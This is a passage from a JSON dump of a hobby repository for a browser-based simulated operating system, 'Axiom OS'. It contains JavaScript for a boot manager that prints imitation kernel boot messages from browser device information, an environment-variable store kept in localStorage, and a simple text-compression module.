}\n    \n    .api-item {\n        padding: 1.25rem 0.75rem;\n    }\n}"
  },
  {
    "path": "axiom/application_data/system/kernel/core/bootmgr.js",
    "content": "/**\n * Axiom Boot Manager\n * Handles system initialization and boot sequence\n */\n\nclass BootManager {\n    constructor() {\n        this.bootStage = 0;\n        this.bootMessages = [];\n        this.startTime = performance.now();\n        this.colors = {\n            ok: 'output-success',\n            info: 'output-info',\n            warn: 'output-warning',\n            error: 'output-error'\n        };\n        \n        // Real system parameters (emulated, not simulated!)\n        this.realMemorySize = this.detectRealMemory();\n        this.realCores = navigator.hardwareConcurrency || 2;\n        this.realPlatform = this.detectPlatform();\n    }\n    \n    detectRealMemory() {\n        // Try to get real device memory\n        if (navigator.deviceMemory) {\n            return navigator.deviceMemory * 1024; // GB to MB\n        }\n        // Fallback: estimate from performance.memory API\n        if (performance.memory) {\n            const jsHeapLimit = performance.memory.jsHeapSizeLimit;\n            const jsHeapUsed = performance.memory.usedJSHeapSize;\n            // Estimate: JS heap is typically 25-30% of total RAM\n            const estimatedRAM = Math.floor(jsHeapLimit / 1024 / 1024 * 3.5);\n            return Math.min(estimatedRAM, 128); // Cap at 128MB for VM\n        }\n        // Check if running in ServiceWorker/limited context\n        if (typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope) {\n            return 64; // Conservative for workers\n        }\n        return 128; // Default fallback\n    }\n    \n    detectPlatform() {\n        const ua = navigator.userAgent;\n        const platform = navigator.platform;\n        \n        // Detect OS\n        let os = 'Unknown Host';\n        let arch = 'x86_64';\n        \n        if (ua.includes('Win')) {\n            os = 'Windows Host';\n            if (ua.includes('Win64') || ua.includes('x64')) arch = 'x86_64';\n            else if (ua.includes('ARM')) arch = 'arm64';\n        } else if (ua.includes('Mac')) {\n            os = 'macOS Host';\n            if (ua.includes('Intel')) arch = 'x86_64';\n            else if (ua.includes('ARM') || platform.includes('arm')) arch = 'arm64';\n        } else if (ua.includes('Linux')) {\n            os = 'Unix Host';\n            arch = platform.includes('arm') ? 'arm64' : 'x86_64';\n        } else if (ua.includes('Android')) {\n            os = 'Android Host';\n            arch = ua.includes('arm64') ? 'arm64' : 'arm';\n        } else if (ua.includes('iPhone') || ua.includes('iPad')) {\n            os = 'iOS Host';\n            arch = 'arm64';\n        }\n        \n        // Detect screen info for more context\n        const screenInfo = {\n            width: screen.width,\n            height: screen.height,\n            colorDepth: screen.colorDepth,\n            pixelRatio: window.devicePixelRatio || 1\n        };\n        \n        return { os, arch, screen: screenInfo };\n    }\n    \n    detectGPU() {\n        try {\n            const canvas = document.createElement('canvas');\n            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');\n            if (!gl) return { vendor: 'Unknown', renderer: 'Software Rendering' };\n            \n            const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');\n            if (debugInfo) {\n                return {\n                    vendor: gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) || 'Unknown',\n                    renderer: gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) || 'Unknown'\n                };\n            }\n            \n            return {\n                vendor: gl.getParameter(gl.VENDOR) || 'Unknown',\n                renderer: gl.getParameter(gl.RENDERER) || 'Unknown'\n            };\n        } catch (e) {\n            return { vendor: 'Unknown', renderer: 'Software Rendering' };\n        }\n    }\n    \n    async detectBattery() {\n        try {\n            if ('getBattery' in navigator) {\n                const battery = await navigator.getBattery();\n                return {\n                    charging: battery.charging,\n                    level: Math.round(battery.level * 100),\n                    chargingTime: battery.chargingTime,\n                    dischargingTime: battery.dischargingTime\n                };\n            }\n        } catch (e) {\n            // Battery API not available\n        }\n        return null;\n    }\n    \n    toHex(num, padding = 16) {\n        return '0x' + num.toString(16).padStart(padding, '0');\n    }\n    \n    formatMemRange(start, end) {\n        return `[mem ${this.toHex(start)}-${this.toHex(end)}]`;\n    }\n\n    async initialize() {\n        // Kernel banner\n        this.log(`[${this.formatTime()}] Booting Axiom OS (Kernel 6.2.0-axiom)`, 'boot-message');\n        this.log(`[${this.formatTime()}] Command line: BOOT_IMAGE=/boot/axiom-vmlinuz root=/dev/sda1 ro quiet splash`, 'boot-message');\n        this.log(`[${this.formatTime()}] Kernel command line: BOOT_IMAGE=/boot/axiom-vmlinuz root=/dev/sda1 ro quiet splash`, 'boot-message');\n        \n        await this.stage1_EarlyBoot();\n        await this.stage2_HardwareDetection();\n        await this.stage3_CPUInitialization();\n        await this.stage4_MemoryInitialization();\n        await this.stage5_StorageInitialization();\n        await this.stage6_FileSystemInitialization();\n        await this.stage7_DeviceInitialization();\n        await this.stage8_NetworkInitialization();\n        await this.stage9_EnvironmentSetup();\n        await this.stage10_VMInitialization();\n        await this.stage11_ServicesStart();\n        await this.stage12_SystemReady();\n        \n        // Save boot log to /var/log/boot.log\n        await this.saveBootLog();\n        \n        // Задержка и очистка консоли\n        await this.sleep(100);\n        if (typeof window.axiomTerminal !== 'undefined') {\n            window.axiomTerminal.clear();\n        }\n        \n        // Финальный вывод (LTS = Long-Term Support - версия с долгосрочной поддержкой)\n        this.log(`Axiom OS 1.0.0 LTS`, 'output-success');\n        this.log('', 'boot-message');\n        \n        return true;\n    }\n    \n    async saveBootLog() {\n        try {\n            // Ensure /var/log directory exists\n            if (!window.axiomContainer.exists('/var')) {\n                window.axiomContainer.createDirectory('/var', true);\n            }\n            if (!window.axiomContainer.exists('/var/log')) {\n                window.axiomContainer.createDirectory('/var/log', true);\n            }\n            \n            // Format boot log with timestamp\n            const timestamp = new Date().toISOString();\n            const header = `=== Axiom OS Boot Log ===\\nBoot Time: ${timestamp}\\nKernel: 6.2.0-axiom\\n\\n`;\n            const logContent = header + this.bootMessages.join('\\n') + '\\n';\n            \n            // Overwrite boot.log with current boot sequence\n            window.axiomContainer.writeFile('/var/log/boot.log', logContent);\n        } catch (e) {\n            // Silently fail if filesystem not ready\n            console.warn('Failed to save boot log:', e);\n        }\n    }\n\n    async stage1_EarlyBoot() {\n        this.log(`[${this.formatTime()}] Early boot initialization`, 'boot-message');\n        this.log(`[${this.formatTime()}] BIOS-provided physical RAM map:`, 'boot-message');\n        \n        // Calculate real memory addresses based on detected memory\n        const memSizeMB = this.realMemorySize;\n        const memBytes = memSizeMB * 1024 * 1024;\n        \n        // BIOS reserved area (standard)\n        const biosLowEnd = 0x9fbff;\n        const biosHighStart = 0x100000;\n        const memEnd = memBytes - 1;\n        \n        this.log(`[${this.formatTime()}] BIOS-e820: ${this.formatMemRange(0, biosLowEnd)} usable`, 'boot-message');\n        this.log(`[${this.formatTime()}] BIOS-e820: ${this.formatMemRange(biosHighStart, memEnd)} usable`, 'boot-message');\n        this.log(`[${this.formatTime()}] DMI: Axiom Virtual Platform 1.0`, 'boot-message');\n        this.log(`[${this.formatTime()}] Hypervisor detected: Browser VM`, 'boot-message');\n        \n        // Reserved regions\n        this.log(`[${this.formatTime()}] e820: update ${this.formatMemRange(0, 0xfff)} usable ==> reserved`, 'boot-message');\n        this.log(`[${this.formatTime()}] e820: remove ${this.formatMemRange(0xa0000, 0xfffff)} usable`, 'boot-message');\n        \n        // Calculate page frame numbers\n        const lastPfn = Math.floor(memBytes / 4096);\n        const maxArchPfn = 0x400000000; // x86_64 maximum\n        \n        this.log(`[${this.formatTime()}] last_pfn = ${this.toHex(lastPfn, 4)} max_arch_pfn = ${this.toHex(maxArchPfn, 8)}`, 'boot-message');\n        this.log(`[${this.formatTime()}] MTRR default type: uncachable`, 'boot-message');\n        this.log(`[${this.formatTime()}] MTRR fixed ranges enabled:`, 'boot-message');\n        await this.sleep(80);\n    }\n\n    async stage2_HardwareDetection() {\n        this.log(`[${this.formatTime()}] Initializing hardware abstraction layer...`, 'boot-message');\n        \n        // Real browser/hardware info\n        const cores = this.realCores;\n        const memoryGB = this.realMemorySize >= 1024 ? `${(this.realMemorySize / 1024).toFixed(1)}GB` : `${this.realMemorySize}MB`;\n        const platform = navigator.platform;\n        \n        this.log(`[${this.formatTime()}] DMI: ${platform} ${this.realPlatform.os}`, 'boot-message');\n        this.log(`[${this.formatTime()}] Detected ${cores} logical processors`, 'boot-message');\n        this.log(`[${this.formatTime()}] Memory: ${memoryGB} available`, 'boot-message');\n        \n        // x86/FPU features (check real browser capabilities)\n        const hasWasm = typeof WebAssembly !== 'undefined';\n        const hasSharedArrayBuffer = typeof SharedArrayBuffer !== 'undefined';\n        \n        this.log(`[${this.formatTime()}] x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'`, 'boot-message');\n        this.log(`[${this.formatTime()}] x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'`, 'boot-message');\n        this.log(`[${this.formatTime()}] x86/fpu: Supporting XSAVE feature 0x004: 'AVX registers'`, 'boot-message');\n        \n        if (hasWasm) {\n            this.log(`[${this.formatTime()}] WebAssembly: supported (SIMD available)`, 'boot-message');\n        }\n        \n        // GPU detection\n        const gpu = this.detectGPU();\n        this.log(`[${this.formatTime()}] pci 0000:00:02.0: VGA compatible controller: ${gpu.vendor}`, 'boot-message');\n        this.log(`[${this.formatTime()}] pci 0000:00:02.0: ${gpu.renderer}`, 'boot-message');\n        \n        // Screen information\n        this.log(`[${this.formatTime()}] fb0: ${this.realPlatform.screen.width}x${this.realPlatform.screen.height}x${this.realPlatform.screen.colorDepth} (display framebuffer)`, 'boot-message');\n        \n        // ACPI addresses (standard x86 locations)\n        const pmTimerPort = 0x608;\n        const localApicAddr = 0xfee00000;\n        \n        this.log(`[${this.formatTime()}] ACPI: PM-Timer IO Port: ${this.toHex(pmTimerPort, 3)}`, 'boot-message');\n        this.log(`[${this.formatTime()}] ACPI: Local APIC address ${this.toHex(localApicAddr, 8)}`, 'boot-message');\n        \n        await this.sleep(80);\n    }\n\n    async stage3_CPUInitialization() {\n        if (typeof VirtualCPU === 'undefined') {\n            this.printFail('CPU initialization failed: VirtualCPU not found');\n            throw new Error('VirtualCPU not found');\n        }\n        \n        window.axiomCPU = new VirtualCPU();\n        await window.axiomCPU.initialize();\n        \n        const cpuInfo = window.axiomCPU.getCPUInfo();\n        \n        // Calculate cache sizes based on core count (realistic scaling)\n        const l1CachePerCore = 32; // KB\n        const l2CachePerCore = 256; // KB\n        const l3CacheTotal = cpuInfo.cores * 2048; // 2MB per core for L3\n        \n        const totalL1 = l1CachePerCore * cpuInfo.cores;\n        const totalL2 = l2CachePerCore * cpuInfo.cores;\n        \n        this.log(`[${this.formatTime()}] smpboot: Allowing ${cpuInfo.cores} CPUs, 0 hotplug CPUs`, 'boot-message');\n        this.log(`[${this.formatTime()}] setup_percpu: NR_CPUS:${cpuInfo.cores * 2} nr_cpumask_bits:${cpuInfo.cores} nr_cpu_ids:${cpuInfo.cores} nr_node_ids:1`, 'boot-message');\n        this.log(`[${this.formatTime()}] CPU: ${cpuInfo.name}`, 'boot-message');\n        this.log(`[${this.formatTime()}] CPU: ${cpuInfo.cores} cores, ${cpuInfo.threads} threads @ ${cpuInfo.clockSpeed}MHz`, 'boot-message');\n        this.log(`[${this.formatTime()}] CPU: Physical Processor ID: 0`, 'boot-message');\n        this.log(`[${this.formatTime()}] CPU: Processor Core ID: 0`, 'boot-message');\n        this.log(`[${this.formatTime()}] CPU: Features - SSE SSE2 SSE3 SSE4.1 SSE4.2 AVX AVX2 FMA3`, 'boot-message');\n        this.log(`[${this.formatTime()}] CPU: L1 Cache: ${l1CachePerCore}KB/core (${totalL1}KB total), L2 Cache: ${l2CachePerCore}KB/core (${totalL2}KB total), L3 Cache: ${l3CacheTotal}KB`, 'boot-message');\n        this.log(`[${this.formatTime()}] mce: CPU supports ${cpuInfo.cores} MCE banks`, 'boot-message');\n        this.log(`[${this.formatTime()}] Performance Events: Virtual PMU driver`, 'boot-message');\n        this.printOK('CPU initialization');\n        \n        await this.sleep(80);\n    }\n\n    async stage4_MemoryInitialization() {\n        if (typeof MemoryGuard === 'undefined') {\n            this.printFail('Memory initialization failed');\n            throw new Error('MemoryGuard not found');\n        }\n        \n        window.axiomMemory = new MemoryGuard();\n        await window.axiomMemory.initialize();\n        \n        const memInfo = window.axiomMemory.getMemoryInfo();\n        const totalPages = (memInfo.total * 1024) / 4;\n        const freePages = (memInfo.available * 1024) / 4;\n        const kernelCodePages = Math.floor(totalPages * 0.15);\n        const reservedPages = Math.floor(totalPages * 0.1);\n        const dataPages = Math.floor(totalPages * 0.6);\n        const initPages = Math.floor(totalPages * 0.05);\n        \n        this.log(`[${this.formatTime()}] Memory: ${memInfo.total}MB total, ${memInfo.available}MB available`, 'boot-message');\n        this.log(`[${this.formatTime()}] Memory: ${totalPages}K/${totalPages}K available (${kernelCodePages}K kernel code, ${reservedPages}K reserved, ${dataPages}K data, ${initPages}K init)`, 'boot-message');\n        this.log(`[${this.formatTime()}] Memory: Page size 4096 bytes`, 'boot-message');\n        this.log(`[${this.formatTime()}] Kernel/User page tables isolation: enabled`, 'boot-message');\n        this.log(`[${this.formatTime()}] Memory: Using ${memInfo.total}MB for main memory`, 'boot-message');\n        \n        // Calculate zone ranges based on real memory\n        const dmaEnd = 0xffffff; // 16MB DMA limit (standard)\n        const dma32Start = 0x1000000;\n        const totalMemBytes = memInfo.total * 1024 * 1024;\n        const dma32End = Math.min(totalMemBytes - 1, 0xffffffff); // 4GB limit for DMA32\n        \n        this.log(`[${this.formatTime()}] Zone ranges:`, 'boot-message');\n        this.log(`[${this.formatTime()}]   DMA      ${this.formatMemRange(0x1000, dmaEnd)}`, 'boot-message');\n        this.log(`[${this.formatTime()}]   DMA32    ${this.formatMemRange(dma32Start, dma32End)}`, 'boot-message');\n        \n        if (totalMemBytes > 0x100000000) {\n            // If memory exceeds 4GB, show Normal zone\n            this.log(`[${this.formatTime()}]   Normal   ${this.formatMemRange(0x100000000, totalMemBytes - 1)}`, 'boot-message');\n        } else {\n            this.log(`[${this.formatTime()}]   Normal   empty`, 'boot-message');\n        }\n        \n        this.printOK('Memory initialization');\n        \n        await this.sleep(80);\n    }\n\n    async stage5_StorageInitialization() {\n        // Real localStorage info\n        let storageUsed = 0, storageTotal = 5 * 1024 * 1024;\n        try {\n            const estimate = await navigator.storage?.estimate();\n            if (estimate) {\n                storageUsed = estimate.usage || 0;\n                storageTotal = estimate.quota || storageTotal;\n            }\n        } catch (e) {\n            // Fallback to localStorage check\n            const test = localStorage.getItem('axiom_fs') || '';\n            storageUsed = new Blob([test]).size;\n        }\n        \n        const usedMB = (storageUsed / (1024 * 1024)).toFixed(2);\n        const totalMB = (storageTotal / (1024 * 1024)).toFixed(2);\n        const usedPercent = ((storageUsed / storageTotal) * 100).toFixed(1);\n        \n        // Calculate partition info based on real storage\n        const sectorSize = 512; // bytes\n        const totalSectors = Math.floor(storageTotal / sectorSize);\n        const partitionStart = 2048; // standard partition start (1MB alignment)\n        const partitionSize = totalSectors - partitionStart;\n        \n        this.log(`[${this.formatTime()}] Storage: Probing for storage devices...`, 'boot-message');\n        this.log(`[${this.formatTime()}] Storage: localStorage backend detected`, 'boot-message');\n        this.log(`[${this.formatTime()}] Storage: LZ-based compression enabled (space saving)`, 'boot-message');\n        this.log(`[${this.formatTime()}] Storage: sda: Virtual Disk (${totalMB}MB)`, 'boot-message');\n        this.log(`[${this.formatTime()}] Storage: sda: ${usedMB}MB used / ${totalMB}MB total (${usedPercent}% used)`, 'boot-message');\n        this.log(`[${this.formatTime()}] Storage: sda1: partition 1 start=${partitionStart} size=${partitionSize} sectors`, 'boot-message');\n        this.log(`[${this.formatTime()}] SCSI subsystem initialized`, 'boot-message');\n        this.printOK('Storage subsystem');\n        \n        await this.sleep(80);\n    }\n\n    async stage6_FileSystemInitialization() {\n        if (typeof FileSystemInput === 'undefined' || typeof FileSystemOutput === 'undefined') {\n            this.printFail('File system initialization failed');\n            throw new Error('File System modules not found');\n        }\n        \n        window.axiomFS = {\n            input: new FileSystemInput(),\n            output: new FileSystemOutput()\n        };\n        \n        await window.axiomFS.input.initialize();\n        await window.axiomFS.output.initialize();\n        \n        if (typeof VMContainer === 'undefined') {\n            throw new Error('VMContainer not found');\n        }\n        \n        window.axiomContainer = new VMContainer();\n        await window.axiomContainer.initialize();\n        \n        // Calculate kernel memory usage based on actual allocated memory\n        const memInfo = window.axiomMemory.getMemoryInfo();\n        const unusedKernelMem = Math.floor(memInfo.total * 0.02); // 2% unused kernel memory\n        const roDataSize = Math.floor(memInfo.total * 0.12); // 12% for read-only data\n        const unusedImageMem = Math.floor(memInfo.total * 0.015); // 1.5% unused image\n        \n        this.log(`[${this.formatTime()}] VFS: Disk quotas dquot_6.6.0`, 'boot-message');\n        this.log(`[${this.formatTime()}] VFS: Mounted root (localStorage) filesystem readonly on device 8:1`, 'boot-message');\n        this.log(`[${this.formatTime()}] VFS: File descriptors: stdin(0), stdout(1), stderr(2)`, 'boot-message');\n        this.log(`[${this.formatTime()}] devtmpfs: mounted`, 'boot-message');\n        this.log(`[${this.formatTime()}] Freeing unused kernel memory: ${unusedKernelMem}K`, 'boot-message');\n        this.log(`[${this.formatTime()}] Write protecting the kernel read-only data: ${roDataSize}k`, 'boot-message');\n        this.log(`[${this.formatTime()}] Freeing unused kernel image memory: ${unusedImageMem}K`, 'boot-message');\n        this.log(`[${this.formatTime()}] EXT4-fs (sda1): mounted filesystem with ordered data mode`, 'boot-message');\n        this.printOK('File system mounted');\n        \n        await this.sleep(80);\n    }\n\n    async stage7_DeviceInitialization() {\n        this.log(`[${this.formatTime()}] input: Virtual Keyboard as /devices/platform/i8042/input/input0`, 'boot-message');\n        this.log(`[${this.formatTime()}] input: Virtual Mouse as /devices/platform/i8042/input/input1`, 'boot-message');\n        \n        // Battery info (if available)\n        const battery = await this.detectBattery();\n        if (battery) {\n            const status = battery.charging ? 'Charging' : 'Discharging';\n            this.log(`[${this.formatTime()}] ACPI: Battery [BAT0] (battery, ${status}, ${battery.level}%)`, 'boot-message');\n            if (battery.charging && battery.chargingTime !== Infinity) {\n                const timeMin = Math.floor(battery.chargingTime / 60);\n                this.log(`[${this.formatTime()}] ACPI: AC Adapter [AC0] (on-line, full charge in ${timeMin}min)`, 'boot-message');\n            }\n        }\n        \n        this.log(`[${this.formatTime()}] rtc_cmos 00:00: RTC can wake from S4`, 'boot-message');\n        this.log(`[${this.formatTime()}] rtc_cmos 00:00: registered as rtc0`, 'boot-message');\n        this.log(`[${this.formatTime()}] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled`, 'boot-message');\n        this.printOK('Device initialization');\n        \n        await this.sleep(80);\n    }\n\n    async stage8_NetworkInitialization() {\n        // Real network info\n        const online = navigator.onLine;\n        const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;\n        const effectiveType = connection?.effectiveType || 'unknown';\n        const downlink = connection?.downlink || 0;\n        const saveData = connection?.saveData || false;\n        \n        this.log(`[${this.formatTime()}] e1000: Intel(R) PRO/1000 Network Driver`, 'boot-message');\n        this.log(`[${this.formatTime()}] e1000: eth0 NIC Link is ${online ? 'Up' : 'Down'}`, 'boot-message');\n        if (online && connection) {\n            const speedMbps = downlink > 0 ? downlink.toFixed(1) : 'unknown';\n            this.log(`[${this.formatTime()}] e1000: eth0: ${effectiveType} connection (${speedMbps}Mbps)`, 'boot-message');\n            if (connection.rtt) {\n                this.log(`[${this.formatTime()}] e1000: eth0: RTT ~${connection.rtt}ms`, 'boot-message');\n            }\n            if (saveData) {\n                this.log(`[${this.formatTime()}] e1000: eth0: Data saver mode enabled`, 'boot-message');\n            }\n        }\n        this.log(`[${this.formatTime()}] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready`, 'boot-message');\n        this.printOK('Network configuration');\n        \n        await this.sleep(80);\n    }\n\n    async stage9_EnvironmentSetup() {\n        if (typeof Environment === 'undefined') {\n            this.printFail('Environment setup failed');\n            throw new Error('Environment not found');\n        }\n        \n        window.axiomEnv = new Environment();\n        await window.axiomEnv.initialize();\n        \n        this.log(`[${this.formatTime()}] systemd[1]: systemd 252.5-2 running in system mode`, 'boot-message');\n        this.log(`[${this.formatTime()}] systemd[1]: Detected virtualization browser`, 'boot-message');\n        this.log(`[${this.formatTime()}] systemd[1]: Detected architecture x86-64`, 'boot-message');\n        this.log(`[${this.formatTime()}] systemd[1]: Hostname set to <axiom-vm>`, 'boot-message');\n        this.log(`[${this.formatTime()}] systemd[1]: Loading environment variables`, 'boot-message');\n        this.log(`[${this.formatTime()}] systemd[1]: Set environment USER=${window.axiomEnv.get('USER')}`, 'boot-message');\n        this.log(`[${this.formatTime()}] systemd[1]: Set environment HOME=${window.axiomEnv.get('HOME')}`, 'boot-message');\n        this.log(`[${this.formatTime()}] systemd[1]: Set environment PATH=${window.axiomEnv.get('PATH')}`, 'boot-message');\n        this.log(`[${this.formatTime()}] systemd[1]: Set environment SHELL=${window.axiomEnv.get('SHELL')}`, 'boot-message');\n        this.printOK('Environment configuration');\n        \n        await this.sleep(80);\n    }\n\n    async stage10_VMInitialization() {\n        if (typeof VMEmulator === 'undefined') {\n            this.printFail('VM initialization failed');\n            throw new Error('VM modules not found');\n        }\n        \n        window.axiomVM = new VMEmulator();\n        await window.axiomVM.initialize();\n        \n        this.log(`[${this.formatTime()}] kvm: VM support detected`, 'boot-message');\n        this.log(`[${this.formatTime()}] kvm: DosX virtual machine initialized`, 'boot-message');\n        this.log(`[${this.formatTime()}] kvm: Instruction set loaded (x86-64 compatible)`, 'boot-message');\n        this.log(`[${this.formatTime()}] kvm: 64-bit syscall interface ready`, 'boot-message');\n        this.log(`[${this.formatTime()}] kvm: Virtualization features enabled`, 'boot-message');\n        this.printOK('Virtual machine');\n        \n        await this.sleep(80);\n    }\n\n    async stage11_ServicesStart() {\n        this.log(`[${this.formatTime()}] systemd[1]: Starting system services...`, 'boot-message');\n        this.log(`[${this.formatTime()}] systemd[1]: Started Dispatch Password Requests to Console`, 'boot-message');\n        this.printOK('systemd-tmpfiles-setup-dev.service - Create Static Device Nodes');\n        this.printOK('systemd-journald.service - Journal Service');\n        this.printOK('systemd-udevd.service - Rule-based Manager for Device Events');\n        this.printOK('systemd-timesyncd.service - Network Time Synchronization');\n        this.printOK('systemd-logind.service - User Login Management');\n        this.printOK('dbus.service - D-Bus System Message Bus');\n        this.printOK('axiom-terminal.service - Axiom Terminal Service');\n        this.printOK('axiom-shell.service - Axiom Shell');\n        \n        await this.sleep(80);\n    }\n\n    async stage12_SystemReady() {\n        this.printOK('Reached target Basic System');\n        this.printOK('Reached target Network');\n        this.printOK('Reached target Multi-User System');\n        this.printOK('Reached target Graphical Interface');\n        this.log(`[${this.formatTime()}] systemd[1]: Startup finished in ${((performance.now() - this.startTime) / 1000).toFixed(2)}s (kernel) + ${((performance.now() - this.startTime) / 1000 * 0.3).toFixed(2)}s (userspace) = ${((performance.now() - this.startTime) / 1000 * 1.3).toFixed(2)}s`, 'boot-message');\n        \n        await this.sleep(80);\n    }\n\n    formatTime() {\n        const seconds = (performance.now() - this.startTime) / 1000;\n        return seconds.toFixed(6).padStart(10, ' ');\n    }\n\n    printOK(message) {\n        this.log(`[${this.formatTime()}] [  OK  ] ${message}`, 'output-success');\n    }\n\n    printFail(message) {\n        this.log(`[${this.formatTime()}] [FAILED] ${message}`, 'output-error');\n    }\n\n    log(message, className = 'boot-message') {\n        this.bootMessages.push(message);\n        \n        if (typeof window.axiomTerminal !== 'undefined') {\n            window.axiomTerminal.printLine(message, className);\n        }\n    }\n\n    sleep(ms) {\n        return new Promise(resolve => setTimeout(resolve, ms));\n    }\n\n    getBootMessages() {\n        return this.bootMessages;\n    }\n}\n\n// Export for global access\nwindow.BootManager = BootManager;\n"
  },
  {
    "path": "axiom/application_data/system/kernel/environment.js",
    "content": "/**\n * Axiom Environment Manager\n * Manages environment variables and system configuration\n */\n\nclass Environment {\n    constructor() {\n        this.variables = new Map();\n        this.defaultVariables = {\n            'USER': 'root',\n            'HOME': '/root',\n            'PATH': '/bin:/usr/bin:/usr/local/bin',\n            'SHELL': '/bin/axiom',\n            'PWD': '/root',\n            'OLDPWD': '/root',\n            'TERM': 'axiom-256color',\n            'LANG': 'en_US.UTF-8',\n            'EDITOR': 'vi',\n            'HOSTNAME': 'axiom',\n            'LOGNAME': 'root',\n            'PS1': 'root@axiom:~$'\n        };\n    }\n\n    async initialize() {\n        // Load default variables\n        for (const [key, value] of Object.entries(this.defaultVariables)) {\n            this.variables.set(key, value);\n        }\n\n        // Try to load from localStorage\n        try {\n            const stored = localStorage.getItem('axiom_env');\n            if (stored) {\n                const parsed = JSON.parse(stored);\n                for (const [key, value] of Object.entries(parsed)) {\n                    this.variables.set(key, value);\n                }\n            }\n        } catch (e) {\n            console.warn('Failed to load environment from storage:', e);\n        }\n\n        return true;\n    }\n\n    get(key) {\n        return this.variables.get(key) || '';\n    }\n\n    set(key, value) {\n        this.variables.set(key, String(value));\n        this.save();\n    }\n\n    unset(key) {\n        this.variables.delete(key);\n        this.save();\n    }\n\n    has(key) {\n        return this.variables.has(key);\n    }\n\n    list() {\n        const result = {};\n        for (const [key, value] of this.variables.entries()) {\n            result[key] = value;\n        }\n        return result;\n    }\n\n    expand(str) {\n        // Expand environment variables in string\n        // Supports $VAR and ${VAR} syntax\n        return str.replace(/\\$\\{([^}]+)\\}|\\$([A-Z_][A-Z0-9_]*)/g, (match, braced, simple) => {\n            const varName = braced || simple;\n            return this.get(varName) || match;\n        });\n    }\n\n    updatePWD(newPath) {\n        const oldPwd = this.get('PWD');\n        this.set('OLDPWD', oldPwd);\n        this.set('PWD', newPath);\n        this.updatePrompt();\n    }\n\n    updatePrompt() {\n        const user = this.get('USER');\n        const hostname = this.get('HOSTNAME');\n        const pwd = this.get('PWD');\n        const home = this.get('HOME');\n        \n        // Replace home directory with ~\n        let displayPath = pwd;\n        if (pwd === home) {\n            displayPath = '~';\n        } else if (pwd.startsWith(home + '/')) {\n            displayPath = '~' + pwd.substring(home.length);\n        }\n        \n        const prompt = `${user}@${hostname}:${displayPath}$`;\n        this.set('PS1', prompt);\n        \n        // Update UI prompt\n        if (typeof window.axiomTerminal !== 'undefined') {\n            window.axiomTerminal.updatePrompt(prompt);\n        }\n    }\n\n    save() {\n        try {\n            const obj = {};\n            for (const [key, value] of this.variables.entries()) {\n                obj[key] = value;\n            }\n            localStorage.setItem('axiom_env', JSON.stringify(obj));\n        } catch (e) {\n            console.warn('Failed to save environment:', e);\n        }\n    }\n\n    reset() {\n        this.variables.clear();\n        for (const [key, value] of Object.entries(this.defaultVariables)) {\n            this.variables.set(key, value);\n        }\n        this.save();\n    }\n}\n\n// Export for global access\nwindow.Environment = Environment;\n"
  },
  {
    "path": "axiom/application_data/system/kernel/fsio/fs.compression.js",
    "content": "/**\n * File System Compression Module\n * Uses LZ-based compression to reduce localStorage usage\n * \n * Algorithm: Simple LZ77 with UTF-16 encoding\n * Compression ratio: ~40-60% for text data\n * Performance: Fast compression/decompression\n */\n\nclass FSCompression {\n    constructor() {\n        this.enabled = true;\n        this.compressionRatio = 0;\n    }\n\n    /**\n     * Compress string data using LZ-based algorithm\n     * @param {string} data - Uncompressed data\n     * @returns {string} Compressed data with marker\n     */\n    compress(data) {\n        if (!this.enabled || !data) return data;\n        \n        try {\n            const compressed = this._lzCompress(data);\n            \n            // Add marker to identify compressed data\n            const marked = '__COMPRESSED__' + compressed;\n            \n            // Calculate compression ratio\n            const originalSize = new Blob([data]).size;\n            const compressedSize = new Blob([marked]).size;\n            this.compressionRatio = ((1 - compressedSize / originalSize) * 100).toFixed(1);\n            \n            return marked;\n        } catch (e) {\n            console.warn('Compression failed, using uncompressed data:', e);\n            return data;\n        }\n    }\n\n    /**\n     * Decompress string data\n     * @param {string} data - Compressed or uncompressed data\n     * @returns {string} Decompressed data\n     */\n    decompress(data) {\n        if (!this.enabled || !data) return data;\n        \n        // Check if data is compressed\n        if (!data.startsWith('__COMPRESSED__')) {\n            return data; // Not compressed, return as-is\n        }\n        \n        try {\n            const compressed = data.substring(14); // Remove marker\n            return this._lzDecompress(compressed);\n        } catch (e) {\n            console.warn('Decompression failed:', e);\n            return data;\n        }\n    }\n\n    /**\n     * Get compression statistics\n     */\n    getStats() {\n        return {\n            enabled: this.enabled,\n            lastCompressionRatio: this.compressionRatio,\n            algorithm: 'LZ77 (UTF-16)'\n        };\n    }\n\n    /**\n     * Simple LZ77 compression using UTF-16 encoding\n     */\n    _lzCompress(input) {\n        const dict = {};\n        let data = input.split('');\n        let out = [];\n        let currChar;\n        let phrase = data[0];\n        let code = 256;\n        \n        for (let i = 1; i < data.length; i++) {\n            currChar = data[i];\n            if (dict[phrase + currChar] != null) {\n                phrase += currChar;\n            } else {\n                out.push(phrase.length > 1 ? dict[phrase] : phrase.charCodeAt(0));\n                dict[phrase + currChar] = code;\n                code++;\n                phrase = currChar;\n            }\n        }\n        \n        out.push(phrase.length > 1 ? dict[phrase] : phrase.charCodeAt(0));\n        \n        // Convert to string\n        let result = '';\n        for (let i = 0; i < out.length; i++) {\n            result += String.fromCharCode(out[i]);\n        }\n        \n        return result;\n    }\n\n    /**\n     * Simple LZ77 decompression\n     */\n    _lzDecompress(compressed) {\n        const dict = {};\n        let data = compressed.split('');\n        let currChar = data[0];\n        let oldPhrase = currChar;\n        let out = [currChar];\n        let code = 256;\n        let phrase;\n        \n        for (let i = 1; i < data.length; i++) {\n            const currCode = data[i].charCodeAt(0);\n            \n            if (currCode < 256) {\n                phrase = data[i];\n            } else {\n                phrase = dict[currCode] ? dict[currCode] : (oldPhrase + currChar);\n            }\n            \n            out.push(phrase);\n            currChar = phrase.charAt(0);\n            dict[code] = oldPhrase + currChar;\n            code++;\n            oldPhrase = phrase;\n        }\n        \n        return out.join('');\n    }\n}\n\n// Export for global access\nwindow.FSCompression = FSCompression;\n"
  },
  {
    "path": "axiom/application_data/system/kernel/fsio/fs.input.js",
